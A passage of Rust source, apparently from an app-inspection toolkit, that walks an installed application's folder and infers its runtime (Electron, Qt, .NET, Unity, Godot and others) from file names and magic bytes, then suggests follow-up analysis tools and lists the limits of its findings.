Clone, Copy, PartialEq, Eq, PartialOrd, Ord, Serialize)] +#[serde(rename_all = "snake_case")] +enum Weight { + /// Could be many things; supporting evidence only. + Weak, + /// Usual for this runtime, but others have it too. + Medium, + /// Hard to explain any other way. + Strong, +} + +/// A test on a file or folder's place. Text is lower case; the entry's path is lowered to match. +#[derive(Debug, Clone, Copy)] +enum At { + Name(&'static str), + NameStarts(&'static str), + NameEnds(&'static str), + /// Anywhere in the relative path, which starts with `/` here so a whole first part can match. + PathHas(&'static str), + PathEnds(&'static str), + /// A file a system would start: it's executable, in a macOS `MacOS` folder, or a `.exe`. + Program, + /// A [`Self::Program`] within [`MAIN_DEPTH`] of the top. + MainProgram, +} + +/// A look inside a file, for a marker whose place alone isn't enough. +type Look = fn(&mut Probe) -> bool; + +/// One thing that gives a runtime away. An entry must pass every `at`, and `look` when there is one. +#[derive(Debug, Clone, Copy)] +struct Marker { + id: &'static str, + at: &'static [At], + look: Option, + weight: Weight, + /// What finding it means, in plain words. + means: &'static str, +} + +/// A tool to run next. `on` is the id of a marker in the same row, whose first file it runs on, or +/// `None` for the whole folder; `param` is the name the tool gives the path. +#[derive(Debug, Clone, Copy)] +struct Next { + tool: &'static str, + param: &'static str, + on: Option<&'static str>, + why: &'static str, +} + +/// One runtime an app may be built on. +#[derive(Debug)] +struct Runtime { + id: &'static str, + title: &'static str, + /// The game engine `game::detect_in` must report for this runtime to gain a marker from it. + engine: Option, + /// Runtimes this one is normally part of (their ids, or [`ANY_OTHER`]). When one of them is + /// also found, this one is expected, so it doesn't lead the answer. + beneath: &'static [&'static str], + markers: &'static [Marker], + next: &'static [Next], +} + +/// The row for plain native code, which the answer falls back on. +const NATIVE: &str = "native"; +/// In [`Runtime::beneath`]: any other runtime found at all. +const ANY_OTHER: &str = "*"; + +const fn mark(id: &'static str, at: &'static [At], weight: Weight, means: &'static str) -> Marker { + Marker { id, at, look: None, weight, means } +} + +const fn look(id: &'static str, at: &'static [At], look: Look, weight: Weight, means: &'static str) -> Marker { + Marker { id, at, look: Some(look), weight, means } +} + +const fn next(tool: &'static str, on: &'static str, why: &'static str) -> Next { + Next { tool, param: "path", on: Some(on), why } +} + +const fn folder(tool: &'static str, why: &'static str) -> Next { + Next { tool, param: "path", on: None, why } +} + +use At::{MainProgram, Name, NameEnds, NameStarts, PathEnds, PathHas, Program}; +use Weight::{Medium, Strong, Weak}; + +/// Every runtime looked for. Add one with a row here; no other code changes. +static RUNTIMES: &[Runtime] = &[ + Runtime { + id: "electron", + title: "Electron (a web app in a desktop shell)", + engine: None, + beneath: &[], + markers: &[ + mark("app_asar", &[PathEnds("/resources/app.asar")], Strong, "the packed web app Electron loads"), + mark("default_app", &[PathEnds("/resources/default_app.asar")], Strong, "Electron's built-in starter app"), + mark("framework_binary", &[PathEnds("electron framework.framework/versions/a/electron framework")], Strong, "Electron's own engine on macOS"), + mark("framework", &[PathEnds("electron framework.framework")], Strong, "Electron's own engine on macOS"), + mark("unpacked_app", &[PathEnds("/resources/app")], Medium, "where an Electron app sits when left unpacked"), + mark("asar", &[NameEnds(".asar")], Medium, "a packed web app in Electron's archive format"), + mark("electron_program", &[Name("electron.exe")], Strong, "the stock Electron program"), + ], + next: &[ + Next { tool: "js_app_map", param: "input_path", on: Some("app_asar"), why: "map the app's JavaScript, IPC and routes" }, + Next { tool: "js_app_map", param: "input_path", on: Some("unpacked_app"), why: "map the app's JavaScript, IPC and routes" }, + next("core_archive_show", "app_asar", "list what's in the packed app"), + next("js_electron_fuses_show", "framework_binary", "see which of Electron's safety switches are set"), + next("js_electron_fuses_show", "electron_program", "see which of Electron's safety switches are set"), + ], + }, + Runtime { + id: "tauri", + title: "Tauri (a web app in a small Rust program)", + engine: None, + beneath: &[], + markers: &[ + mark("config", &[Name("tauri.conf.json")], Strong, "Tauri's settings file"), + look("program_text", &[MainProgram], has_tauri_text, Strong, "the main program carries Tauri's own text"), + ], + next: &[ + next("native_rust_binary_show", "program_text", "which Rust toolchain and crates built it"), + next("core_target_triage", "program_text", "what the main program is"), + ], + }, + Runtime { + id: "cef", + title: "CEF (Chromium embedded in a native app)", + engine: None, + beneath: &[], + markers: &[ + mark("framework", &[PathEnds("chromium embedded framework.framework")], Strong, "Chromium Embedded on macOS"), + mark( + "framework_binary", + &[PathEnds("chromium embedded framework.framework/versions/a/chromium embedded framework")], + Strong, + "Chromium Embedded on macOS", + ), + mark("library", &[NameStarts("libcef.")], Strong, "Chromium Embedded on Windows or Linux"), + ], + next: &[ + next("core_target_triage", "library", "what its library exports and imports"), + next("core_target_triage", "framework_binary", "what its library exports and imports"), + ], + }, + Runtime { + id: "qt", + title: "Qt (a native C++ interface toolkit)", + engine: None, + beneath: &[], + markers: &[ + mark("framework", &[PathEnds("qtcore.framework")], Strong, "Qt's core library on macOS"), + mark("framework_binary", &[PathEnds("qtcore.framework/versions/a/qtcore")], Strong, "Qt's core library on macOS"), + mark("library_5", &[NameStarts("qt5core")], Strong, "Qt 5's core library"), + mark("library_6", &[NameStarts("qt6core")], Strong, "Qt 6's core library"), + mark("library_so_5", &[NameStarts("libqt5core")], Strong, "Qt 5's core library"), + mark("library_so_6", &[NameStarts("libqt6core")], Strong, "Qt 6's core library"), + mark("platform_plugin", &[PathHas("/platforms/"), NameStarts("q")], Weak, "a file where Qt keeps its platform plugins"), + mark("platform_plugin_lib", &[PathHas("/platforms/"), NameStarts("libq")], Medium, "a file where Qt keeps its platform plugins"), + mark("conf", &[Name("qt.conf")], Medium, "Qt's settings file"), + ], + next: &[ + next("core_target_triage", "library_6", "what its Qt library is"), + next("core_target_triage", "library_5", "what its Qt library is"), + next("core_target_triage", "framework_binary", "what its Qt library is"), + ], + }, + Runtime { + id: "flutter", + title: "Flutter (a Dart app with its own renderer)", + engine: None, + beneath: &[], + markers: &[ + mark("macos", &[PathEnds("fluttermacos.framework")], Strong, "Flutter's engine on macOS"), + mark("windows", &[Name("flutter_windows.dll")], Strong, "Flutter's engine on Windows"), + mark("linux", &[Name("libflutter_linux_gtk.so")], Strong, "Flutter's engine on Linux"), + mark("android", &[Name("libflutter.so")], Strong, "Flutter's engine"), + mark("assets", &[PathEnds("/flutter_assets")], Strong, "the assets folder of a Flutter app"), + mark("app_library", &[Name("libapp.so")], Medium, "where Flutter keeps compiled Dart code"), + ], + next: &[ + next("core_target_triage", "app_library", "what its compiled Dart library is"), + next("core_archive_show", "assets", "list what's in its assets folder"), + ], + }, + Runtime { + id: "dotnet", + title: ".NET (C# and similar languages)", + engine: None, + beneath: &[], + markers: &[ + mark("runtime_config", &[NameEnds(".runtimeconfig.json")], Strong, "settings for starting a .NET program"), + mark("dependencies", &[NameEnds(".deps.json")], Medium, "a .NET program's list of dependencies"), + mark("host", &[NameStarts("hostfxr")], Strong, ".NET's starting library"), + mark("host_so", &[NameStarts("libhostfxr")], Strong, ".NET's starting library"), + mark("core_clr", &[Name("coreclr.dll")], Strong, ".NET's runtime"), + mark("core_clr_so", &[NameStarts("libcoreclr")], Strong, ".NET's runtime"), + look("assembly_dll", &[NameEnds(".dll")], is_managed_pe, Strong, "a file whose PE header declares .NET code"), + look("assembly_exe", &[NameEnds(".exe")], is_managed_pe, Strong, "a file whose PE header declares .NET code"), + ], + next: &[ + next("managed_assembly_show", "assembly_exe", "what .NET it targets and what it depends on"), + next("managed_assembly_show", "assembly_dll", "what .NET it targets and what it depends on"), + ], + }, + Runtime { + id: "java", + title: "Java (or another language on the JVM)", + engine: None, + beneath: &[], + markers: &[ + mark("jar", &[NameEnds(".jar")], Medium, "a Java archive"), + mark("jvm", &[Name("jvm.dll")], Strong, "the Java virtual machine"), + mark("jvm_so", &[NameStarts("libjvm.")], Strong, "the Java virtual machine"), + mark("launcher", &[NameStarts("libjli.")], Strong, "Java's launcher library"), + look("jre_modules", &[PathEnds("/lib/modules")], is_java_image, Strong, "a bundled Java's module image, checked by its start"), + mark("java_program", &[Name("java.exe")], Strong, "the Java program"), + mark("java_binary", &[PathEnds("/bin/java")], Strong, "the Java program"), + ], + next: &[next("java_archive_show", "jar", "its main class, packages and what it bundles")], + }, + Runtime { + id: "python", + title: "Python (bundled with its interpreter)", + engine: None, + beneath: &[], + markers: &[ + mark("base_library", &[Name("base_library.zip")], Strong, "the standard library PyInstaller packs"), + look("pyinstaller_program", &[Program], has_pyinstaller_cookie, Strong, "a program ending in PyInstaller's mark"), + mark("archive", &[NameEnds(".pyz")], Strong, "a packed Python app"), + mark("framework", &[PathEnds("python.framework")], Strong, "Python on macOS"), + mark("library", &[NameStarts("libpython")], Strong, "Python's interpreter library"), + mark("library_dll", &[NameStarts("python3"), NameEnds(".dll")], Strong, "Python's interpreter library"), + mark("standard_library", &[PathHas("/lib/python3")], Medium, "Python's standard library"), + mark("compiled", &[NameEnds(".pyc")], Medium, "compiled Python code"), + ], + next: &[ + next("core_packed_files_list", "pyinstaller_program", "list the files packed inside the program"), + next("core_archive_show", "base_library", "list what's in its standard library"), + ], + }, + Runtime { + id: "node", + title: "Node.js (JavaScript run outside a browser)", + engine: None, + beneath: &["electron", "tauri"], + markers: &[ + mark("modules", &[Name("node_modules")], Medium, "JavaScript packages"), + mark("node_program", &[Name("node.exe")], Strong, "the Node.js program"), + mark("node_binary", &[PathEnds("/bin/node")], Strong, "the Node.js program"), + mark("addon", &[NameEnds(".node")], Medium, "a native add-on for Node.js"), + mark("package", &[Name("package.json")], Weak, "a JavaScript package's description"), + ], + next: &[ + Next { tool: "js_app_map", param: "input_path", on: None, why: "map the app's JavaScript, IPC and routes" }, + next("core_target_triage", "addon", "what a native add-on is"), + ], + }, + Runtime { + id: "unity", + title: "Unity (a game engine)", + engine: Some(game::Made::Unity), + beneath: &[], + markers: &[ + mark("player", &[NameStarts("unityplayer.")], Strong, "Unity's player"), + mark("framework", &[PathEnds("unityframework.framework")], Strong, "Unity's player on Apple systems"), + mark("managers", &[Name("globalgamemanagers")], Strong, "Unity's settings for a game"), + mark("il2cpp_metadata", &[Name("global-metadata.dat")], Strong, "IL2CPP's table of the game's C# names"), + mark("il2cpp_code", &[NameStarts("gameassembly.")], Strong, "a game's C# compiled to native code by IL2CPP"), + mark("mono_code", &[Name("assembly-csharp.dll")], Strong, "a game's C# code, kept as .NET"), + mark("default_resources", &[Name("unity default resources")], Strong, "Unity's built-in assets"), + ], + next: &[ + folder("game_archives_list", "find the files it packs its assets in"), + next("game_unity_code_names_show", "il2cpp_metadata", "the names of its code"), + next("managed_assembly_show", "mono_code", "what its code depends on"), + next("game_unity_list", "managers", "the objects it holds"), + ], + }, + Runtime { + id: "unreal", + title: "Unreal Engine (a game engine)", + engine: Some(game::Made::Unreal), + beneath: &[], + markers: &[ + look("pak", &[PathHas("/content/paks/"), NameEnds(".pak")], is_unreal_pak, Strong, "an Unreal archive, checked by its footer"), + look("iostore", &[NameEnds(".utoc")], is_unreal_toc, Strong, "an Unreal IoStore table of contents, checked by its start"), + mark("shipping_program", &[NameEnds("-shipping.exe")], Strong, "Unreal's usual name for a released program"), + mark("engine_binaries", &[PathHas("/engine/binaries/")], Medium, "where Unreal keeps its programs"), + ], + next: &[ + folder("game_archives_list", "find the files it packs its assets in"), + next("game_pak_list", "pak", "what's packed in its archive"), + next("game_iostore_list", "iostore", "what's packed in its IoStore container"), + ], + }, + Runtime { + id: "godot", + title: "Godot (a game engine)", + engine: Some(game::Made::Godot), + beneath: &[], + markers: &[ + look("pack", &[NameEnds(".pck")], is_godot_pack, Strong, "a Godot pack, checked by its start"), + look("embedded_pack", &[Program], has_godot_trailer, Strong, "a program with a Godot pack at its end"), + ], + next: &[ + next("core_packed_files_list", "pack", "list what's packed inside"), + next("core_packed_files_list", "embedded_pack", "list what's packed inside the program"), + folder("game_archives_list", "find its packs"), + ], + }, + Runtime { + id: NATIVE, + title: "Native code (no bigger runtime recognised for this)", + engine: None, + beneath: &[ANY_OTHER], + markers: &[look("program", &[Program], is_native_program, Weak, "a program in a machine's own code")], + next: &[ + next("core_target_triage", "program", "what the program is and what it does"), + next("native_rust_binary_show", "program", "whether it was written in Rust"), + ], + }, +]; + +/// Asks of a file, kept to small reads, counted against the survey's budget. +struct Probe { + file: File, + len: u64, + bytes_read: u64, + text_budget: bool, + head: Option>, + tail: Option>, + /// Text search results, so markers wanting the same search read once. + searched: Option, +} + +impl Probe { + fn open(path: &Path, text_budget: bool) -> Option { + let file = File::open(path).ok()?; + let len = file.metadata().ok()?.len(); + Some(Probe { file, len, bytes_read: 0, text_budget, head: None, tail: None, searched: None }) + } + + fn read_at(&mut self, at: u64, len: usize) -> Option> { + self.file.seek(SeekFrom::Start(at)).ok()?; + let mut buf = vec![0; len]; + let mut got = 0; + while got < len { + match self.file.read(buf.get_mut(got..)?) { + Ok(0) => break, + Ok(n) => got += n, + Err(e) if e.kind() == std::io::ErrorKind::Interrupted => {} + Err(_) => return None, + } + } + buf.truncate(got); + self.bytes_read = self.bytes_read.saturating_add(got as u64); + Some(buf) + } + + /// The file's first bytes. + fn head(&mut self) -> &[u8] { + if self.head.is_none() { + self.head = Some(self.read_at(0, PROBE_READ).unwrap_or_default()); + } + self.head.as_deref().unwrap_or_default() + } + + /// The file's last bytes. + fn tail(&mut self) -> &[u8] { + if self.tail.is_none() { + let start = self.len.saturating_sub(PROBE_READ as u64); + self.tail = Some(self.read_at(start, PROBE_READ).unwrap_or_default()); + } + self.tail.as_deref().unwrap_or_default() + } + + /// Whether the file's start holds any of `needles`, reading at most [`TEXT_WINDOW`] bytes and + /// only when the survey has budget for it. + fn start_holds(&mut self, needles: &[&[u8]]) -> bool { + if let Some(found) = self.searched { + return found; + } + let longest = needles.iter().map(|n| n.len()).max().unwrap_or(0); + if !self.text_budget || longest == 0 { + return false; + } + let mut found = false; + let (mut at, mut carry) = (0u64, Vec::new()); + while at < self.len.min(TEXT_WINDOW) && !found { + let Some(chunk) = self.read_at(at, 1 << 20) else { break }; + if chunk.is_empty() { + break; + } + at = at.saturating_add(chunk.len() as u64); + carry.extend_from_slice(&chunk); + found = needles.iter().any(|n| !n.is_empty() && carry.windows(n.len()).any(|w| w == *n)); + let keep = carry.len().saturating_sub(longest); + carry.drain(..keep); + } + self.searched = Some(found); + found + } +} + +fn is_native_program(p: &mut Probe) -> bool { + const MARKS: [&[u8]; 8] = [ + b"\x7fELF", + b"MZ", + &[0xfe, 0xed, 0xfa, 0xce], + &[0xfe, 0xed, 0xfa, 0xcf], + &[0xce, 0xfa, 0xed, 0xfe], + &[0xcf, 0xfa, 0xed, 0xfe], + &[0xca, 0xfe, 0xba, 0xbe], + &[0xca, 0xfe, 0xba, 0xbf], + ]; + let head = p.head(); + MARKS.iter().any(|m| head.starts_with(m)) +} + +/// Java's module image starts with 0xCAFEDADA, in the byte order of the machine it's for. +fn is_java_image(p: &mut Probe) -> bool { + let head = p.head(); + head.starts_with(&[0xda, 0xda, 0xfe, 0xca]) || head.starts_with(&[0xca, 0xfe, 0xda, 0xda]) +} + +fn is_managed_pe(p: &mut Probe) -> bool { + pe_is_managed(p.head()) +} + +fn is_godot_pack(p: &mut Probe) -> bool { + p.head().starts_with(godot_pck::MAGIC) +} + +/// A program with a Godot pack at its end: the trailer's pointer must land on a pack's mark. +fn has_godot_trailer(p: &mut Probe) -> bool { + let len = p.len; + let Some(start) = godot_pck::trailer_start(p.tail(), len) else { return false }; + p.read_at(start, godot_pck::MAGIC.len()).is_some_and(|m| m == godot_pck::MAGIC) +} + +fn is_unreal_pak(p: &mut Probe) -> bool { + let len = p.len; + let tail = p.tail(); + let cut = tail.len().saturating_sub(unreal_pak::FOOTER_READ); + unreal_pak::footer(tail.get(cut..).unwrap_or_default(), len).is_ok() +} + +fn is_unreal_toc(p: &mut Probe) -> bool { + p.head().starts_with(unreal_iostore::MAGIC) +} + +/// PyInstaller's cookie sits near the end of the program it packs into. +fn has_pyinstaller_cookie(p: &mut Probe) -> bool { + const COOKIE: &[u8; 8] = b"MEI\x0c\x0b\x0a\x0b\x0e"; + p.tail().windows(COOKIE.len()).any(|w| w == COOKIE) +} + +/// Tauri programs carry the script names their web view is given; a plain mention of the word could +/// be anything, so these are its own distinctive spellings. +fn has_tauri_text(p: &mut Probe) -> bool { + p.start_holds(&[b"__TAURI_INTERNALS__", b"__TAURI_INVOKE_KEY__", b"tauri://localhost"]) +} + +// ---- the walk ----------------------------------------------------------------------------------- + +/// One entry seen: its path relative to the top, lower case with `/`, starting with `/`. +struct Seen { + rel: String, + name: String, + path: PathBuf, + depth: usize, + regular: bool, + program: bool, +} + +#[derive(Default)] +struct Walk { + seen: Vec, + folders: u64, + links: u64, + not_walked: Vec, + capped: bool, + unreadable: u64, +} + +fn walk(root: &Path, max_entries: usize, max_depth: usize, ctx: &Ctx<'_>) -> Result { + let mut w = Walk::default(); + let mut queue = VecDeque::from([(root.to_path_buf(), String::new(), 0usize)]); + 'all: while let Some((dir, rel, depth)) = queue.pop_front() { + ctx.cancel.check()?; + let Ok(entries) = std::fs::read_dir(&dir) else { + w.unreadable += 1; + continue; + }; + for entry in entries.flatten() { + if w.seen.len() >= max_entries { + w.capped = true; + break 'all; + } + // `file_type` doesn't follow links, so a link is only ever its own name. + let Ok(kind) = entry.file_type() else { + w.unreadable += 1; + continue; + }; + let name = entry.file_name().to_string_lossy().to_lowercase(); + let this = format!("{rel}/{name}"); + let path = entry.path(); + if kind.is_symlink() { + w.links += 1; + } else if kind.is_dir() { + w.folders += 1; + if NOT_WALKED.contains(&name.as_str()) { + w.not_walked.push(this.trim_start_matches('/').to_string()); + } else if depth < max_depth { + queue.push_back((path.clone(), this.clone(), depth + 1)); + } else { + w.capped = true; + } + } + let regular = kind.is_file(); + let program = regular && looks_like_program(&entry, &rel, &name); + w.seen.push(Seen { rel: this, name, path, depth, regular, program }); + } + } + Ok(w) +} + +/// Whether a file sits or is marked as something a system would start. +fn looks_like_program(entry: &std::fs::DirEntry, parent: &str, name: &str) -> bool { + if name.ends_with(".exe") || parent.ends_with("/macos") { + return true; + } + executable(entry) && !name.contains('.') +} + +#[cfg(unix)] +fn executable(entry: &std::fs::DirEntry) -> bool { + use std::os::unix::fs::PermissionsExt; + entry.metadata().is_ok_and(|m| m.permissions().mode() & 0o111 != 0) +} + +#[cfg(not(unix))] +fn executable(_: &std::fs::DirEntry) -> bool { + false +} + +fn place_matches(at: &At, e: &Seen) -> bool { + match at { + Name(n) => e.name == *n, + NameStarts(s) => e.name.starts_with(s), + NameEnds(s) => e.name.ends_with(s), + PathHas(s) => e.rel.contains(s), + PathEnds(s) => e.rel.ends_with(s), + Program => e.program, + MainProgram => e.program && e.depth < MAIN_DEPTH, + } +} + +/// How the looks inside files have gone so far. +#[derive(Default)] +struct Budget { + probes: usize, + bytes: u64, + text_searches: usize, + ran_out: bool, + /// Files that couldn't be opened to look inside (#292). + unopened: u64, +} + +/// The markers of every runtime that an entry passes, as (row, marker) → paths seen. +type Hits = BTreeMap<(usize, usize), Vec>; + +fn scan(w: &Walk, ctx: &Ctx<'_>) -> Result<(Hits, Budget), ToolError> { + let mut hits = Hits::new(); + let mut budget = Budget::default(); + for (i, e) in w.seen.iter().enumerate() { + if i.is_multiple_of(1024) { + ctx.cancel.check()?; + } + let mut probe = None; + for (r, runtime) in RUNTIMES.iter().enumerate() { + for (m, marker) in runtime.markers.iter().enumerate() { + if !marker.at.iter().all(|at| place_matches(at, e)) { + continue; + } + let passed = match marker.look { + None => true, + Some(_) if !e.regular => false, + Some(look) => run_look(look, e, &mut probe, &mut budget), + }; + if passed { + hits.entry((r, m)).or_default().push(i); + } + } + } + if let Some(Some(p)) = probe.take() { + budget.bytes = budget.bytes.saturating_add(p.bytes_read); + } + } + Ok((hits, budget)) +} + +/// `probe` is `None` until the file is opened, then `Some(None)` when that failed, so it's tried once. +fn run_look(look: Look, e: &Seen, probe: &mut Option>, budget: &mut Budget) -> bool { + if probe.is_none() { + if budget.probes >= MAX_PROBES || budget.bytes >= MAX_PROBE_BYTES { + budget.ran_out = true; + return false; + } + budget.probes += 1; + let may_search = e.depth < MAIN_DEPTH && budget.text_searches < MAX_TEXT_SEARCHES; + budget.text_searches += usize::from(may_search && e.program); + let opened = Probe::open(&e.path, may_search && e.program); + budget.unopened += u64::from(opened.is_none()); + *probe = Some(opened); + } + probe.as_mut().and_then(Option::as_mut).is_some_and(look) +} + +// ---- the result --------------------------------------------------------------------------------- + +/// What a macOS app's settings file says it is. +fn bundle_facts(root: &Path) -> Option { + let regular = |p: &PathBuf| std::fs::symlink_metadata(p).is_ok_and(|m| m.is_file() && m.len() <= MAX_PLIST); + let path = [root.join("Contents/Info.plist"), root.join("Info.plist")].into_iter().find(|p| regular(p))?; + let v = plist::parse(&std::fs::read(&path).ok()?).ok()?; + let text = |k: &str| v.get(k).and_then(plist::Value::as_str).map(str::to_string); + Some(json!({ + "name": text("CFBundleDisplayName").or_else(|| text("CFBundleName")), + "identifier": text("CFBundleIdentifier"), + "version": text("CFBundleShortVersionString"), + "executable": text("CFBundleExecutable"), + })) +} + +/// A candidate's rows, in the order they're shown. +#[derive(Debug, Serialize)] +struct Candidate { + runtime: String, + title: String, + strength: Weight, + score: u32, + /// Expected under another candidate found here, or only found deep inside the folder: the app + /// carries it, but it doesn't look like what the app itself is built on. + secondary: bool, + /// Normally part of another candidate found here, so not worth a mention of its own. + #[serde(skip)] + expected: bool, + markers: Vec, + next: Vec, +} + +fn shown(root: &Path, e: &Seen) -> String { + e.path.strip_prefix(root).unwrap_or(&e.path).to_string_lossy().replace('\\', "/") +} + +/// A hit's paths, with the app's declared program first when it's among them. +fn ordered<'a>(w: &'a Walk, hit: &[usize], main_program: Option<&str>) -> Vec<&'a Seen> { + let mut seen: Vec<&Seen> = hit.iter().filter_map(|i| w.seen.get(*i)).collect(); + if let Some(main) = main_program.map(str::to_lowercase) { + seen.sort_by_key(|e| !(e.program && e.name == main)); + } + seen +} + +fn candidates(root: &Path, w: &Walk, hits: &Hits, found: Option<&game::Found>, main_program: Option<&str>) -> Vec { + let mut out = Vec::new(); + for (r, runtime) in RUNTIMES.iter().enumerate() { + let mut markers = Vec::new(); + let (mut strength, mut score, mut nearest) = (None, 0u32, usize::MAX); + let mut first_of: BTreeMap<&str, String> = BTreeMap::new(); + for (m, marker) in runtime.markers.iter().enumerate() { + let Some(hit) = hits.get(&(r, m)) else { continue }; + let seen = ordered(w, hit, main_program); + let Some(first) = seen.first() else { continue }; + first_of.insert(marker.id, first.path.display().to_string()); + strength = strength.max(Some(marker.weight)); + if marker.weight >= Medium { + nearest = nearest.min(seen.iter().map(|e| e.depth).min().unwrap_or(usize::MAX)); + } + score += match marker.weight { + Weak => 1, + Medium => 3, + Strong => 5, + }; + markers.push(json!({ + "marker": marker.id, + "means": marker.means, + "weight": marker.weight, + "count": seen.len(), + "paths": seen.iter().take(PATHS_SHOWN).map(|e| shown(root, e)).collect::>(), + })); + } + if let Some(f) = found.filter(|f| runtime.engine == Some(f.engine)) { + strength = Some(Strong); + score += 5; + nearest = 0; + markers.push(json!({"marker": "game_detection", "means": format!("recognised as made with {}", f.label()), "weight": Strong, "count": 1, "paths": [f.clue], "version": f.version, "note": f.note})); + } + let Some(strength) = strength else { continue }; + let next: Vec = runtime + .next + .iter() + .filter_map(|n| { + let path = match n.on { + Some(on) => first_of.get(on)?.clone(), + None => root.display().to_string(), + }; + Some(json!({"tool": n.tool, "args": {n.param: path}, "why": n.why})) + }) + .collect(); + // Weak evidence is only ever supporting, wherever it is, so it doesn't count as carried. + let deep = strength >= Medium && nearest > LEAD_DEPTH; + out.push(Candidate { runtime: runtime.id.into(), title: runtime.title.into(), strength, score, secondary: deep, expected: false, markers, next }); + } + // A game engine with no row of its own still counts. + if let Some(f) = found.filter(|f| !RUNTIMES.iter().any(|r| r.engine == Some(f.engine))) { + out.push(Candidate { + runtime: format!("{:?}", f.engine).to_lowercase(), + title: format!("{} (a game engine)", f.engine.name()), + strength: Strong, + score: 5, + secondary: false, + expected: false, + markers: vec![json!({"marker": "game_detection", "means": format!("recognised as made with {}", f.label()), "weight": Strong, "count": 1, "paths": [f.clue], "version": f.version, "note": f.note})], + next: vec![json!({"tool": "core_target_triage", "args": {"path": root.display().to_string()}, "why": "what it's made of and how big it is"})], + }); + } + let found_ids: Vec = out.iter().map(|c| c.runtime.clone()).collect(); + for c in &mut out { + let beneath = RUNTIMES.iter().find(|r| r.id == c.runtime).map_or(&[][..], |r| r.beneath); + c.expected = beneath.iter().any(|b| if *b == ANY_OTHER { found_ids.len() > 1 } else { found_ids.iter().any(|f| f == b) }); + c.secondary |= c.expected; + } + out.sort_by(|a, b| a.secondary.cmp(&b.secondary).then(b.strength.cmp(&a.strength)).then(b.score.cmp(&a.score))); + out +} + +fn app_folder_explain(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: SurveyParams = parse_params(params)?; + let root = PathBuf::from(&p.path); + if !root.is_absolute() { + return Err(ToolError::invalid(format!("{:?} is not an absolute path", p.path)).with_remediation("Pass the full path of the app's folder.")); + } + let meta = std::fs::metadata(&root).map_err(|e| ToolError::io(root.display(), e))?; + if !meta.is_dir() { + return Err(ToolError::invalid(format!("{} isn't a folder", root.display())) + .with_remediation("Pass the app's install folder; for one file use core_target_triage.")); + } + let name = root.file_name().map(|n| n.to_string_lossy().into_owned()).unwrap_or_else(|| p.path.clone()); + ctx.report(None, format!("Looking through {name}")); + let (max_entries, max_depth) = (p.max_entries.clamp(1, MAX_ENTRIES), p.max_depth.min(MAX_DEPTH)); + let w = walk(&root, max_entries, max_depth, ctx)?; + let (hits, budget) = scan(&w, ctx)?; + let bundle = bundle_facts(&root); + let main_program = bundle.as_ref().and_then(|b| b["executable"].as_str()); + // Games are recognised by the same code as triage, given this walk's regular files. + let files: Vec<(String, PathBuf)> = w.seen.iter().filter(|e| e.regular).map(|e| (e.rel.trim_start_matches('/').to_string(), e.path.clone())).collect(); + let found = game::detect_in(&files); + let list = candidates(&root, &w, &hits, found.as_ref(), main_program); + + let mut lims = vec![ + Limitation::new( + "presence_not_proof", + "A file being in the folder doesn't prove the app runs it: it may be unused, left over from an update, or there for another reason. Nothing was started, so these are inferences.", + ), + Limitation::new( + "small_reads_only", + "Only names, the ends of some files and the start of the main programs were read. The app's contents weren't unpacked or analysed; next_steps says what to run for that.", + ), + ]; + if w.capped { + lims.push(Limitation::new( + "walk_capped", + format!("max_entries ({max_entries}) or max_depth ({max_depth}) stopped the walk, so what's further in wasn't seen. Raise them to see more."), + )); + } + if budget.ran_out { + lims.push(Limitation::new( + "look_budget", + format!("After {MAX_PROBES} files or {MAX_PROBE_BYTES} bytes, no more files were looked inside, so markers that need a look may be missing."), + )); + } + if w.links > 0 { + lims.push(Limitation::new("links_not_followed", format!("{} symbolic link(s) were noted by name only; what they point at wasn't read.", w.links))); + } + if w.unreadable > 0 { + lims.push(Limitation::new("unreadable_entries", format!("{} file(s) or folder(s) couldn't be read.", w.unreadable))); + } + if budget.unopened > 0 { + lims.push(Limitation::new( + "unopened_files", + format!("{} file(s) couldn't be opened to look inside, so what they would show is missing.", budget.unopened), + )); + } + if !w.not_walked.is_empty() { + lims.push(Limitation::new( + "folders_counted_not_walked", + format!( + "{} folder(s) of packages were noted but not walked: {}.", + w.not_walked.len(), + w.not_walked.iter().take(3).cloned().collect::>().join(", ") + ), + )); + } + let leading: Vec<&Candidate> = list.iter().filter(|c| !c.secondary && c.strength == Strong).collect(); + let titles = |cs: &[&Candidate]| cs.iter().map(|c| c.title.as_str()).collect::>().join("; "); + let carried: Vec<&Candidate> = + list.iter().filter(|c| !leading.iter().any(|l| l.runtime == c.runtime) && c.runtime != NATIVE && !c.expected && c.strength >= Medium).collect(); + let is_native = list.iter().any(|c| c.runtime == NATIVE); + let summary = match (leading.is_empty(), carried.is_empty(), is_native) { + (false, true, _) => format!("{name}: looks built on {}.", titles(&leading)), + (false, false, _) => format!("{name}: looks built on {}. It also carries {}.", titles(&leading), titles(&carried)), + (true, false, true) => format!("{name}: its programs are native code, and it also carries {}.", titles(&carried)), + (true, false, false) => format!("{name}: possibly {}, on some evidence.", titles(&carried)), + (true, true, true) => format!("{name}: its programs are native code; no bigger runtime was recognised."), + (true, true, false) => match list.first() { + Some(c) => format!("{name}: possibly {}, on weak evidence.", c.title), + None => format!("{name}: nothing in it points to a runtime, not even a native program."), + }, + }; + // What leads the answer first, then the plain look at the program; the same step once. + let mut next_steps: Vec<&Value> = Vec::new(); + let others = list.iter().filter(|c| leading.is_empty() || c.runtime == NATIVE); + for step in leading.iter().copied().chain(others).flat_map(|c| &c.next) { + let same = |s: &&Value| s["tool"] == step["tool"] && s["args"] == step["args"]; + if next_steps.len() < MAX_NEXT_STEPS && !next_steps.iter().any(same) { + next_steps.push(step); + } + } + let examined = w.seen.len() as u64; + let result = json!({ + "folder": root.display().to_string(), + "bundle": bundle, + "candidates": list, + "next_steps": next_steps, + "game": found, + "walk": { + "entries": examined, + "folders": w.folders, + "links_not_followed": w.links, + "folders_not_walked": w.not_walked, + "files_looked_inside": budget.probes, + "bytes_read": budget.bytes, + "capped": w.capped, + "max_entries": max_entries, + "max_depth": max_depth, + }, + }); + let unread = w.unreadable > 0 || budget.unopened > 0; + let coverage = if w.capped || budget.ran_out || unread { partial(examined) } else { Coverage::complete(examined) }; + let ev = builder(ctx, "app_folder_explain", Subject { kind: "folder".into(), sha256: None, name: Some(name) }, params_json(&p)) + .result(result) + .summary(summary) + .confidence(Confidence::Inferred) + .authority(Authority::OriginalFiles) + .limitations(lims) + .coverage(coverage) + .location(Location::new("path", p.path.clone())) + .build()?; + Ok(ToolOutput::Evidence(Box::new(ev))) +} + +#[cfg(test)] +mod tests { + use super::super::native_common::test_support::{call, call_err}; + use super::*; + use crate::Engine; + use 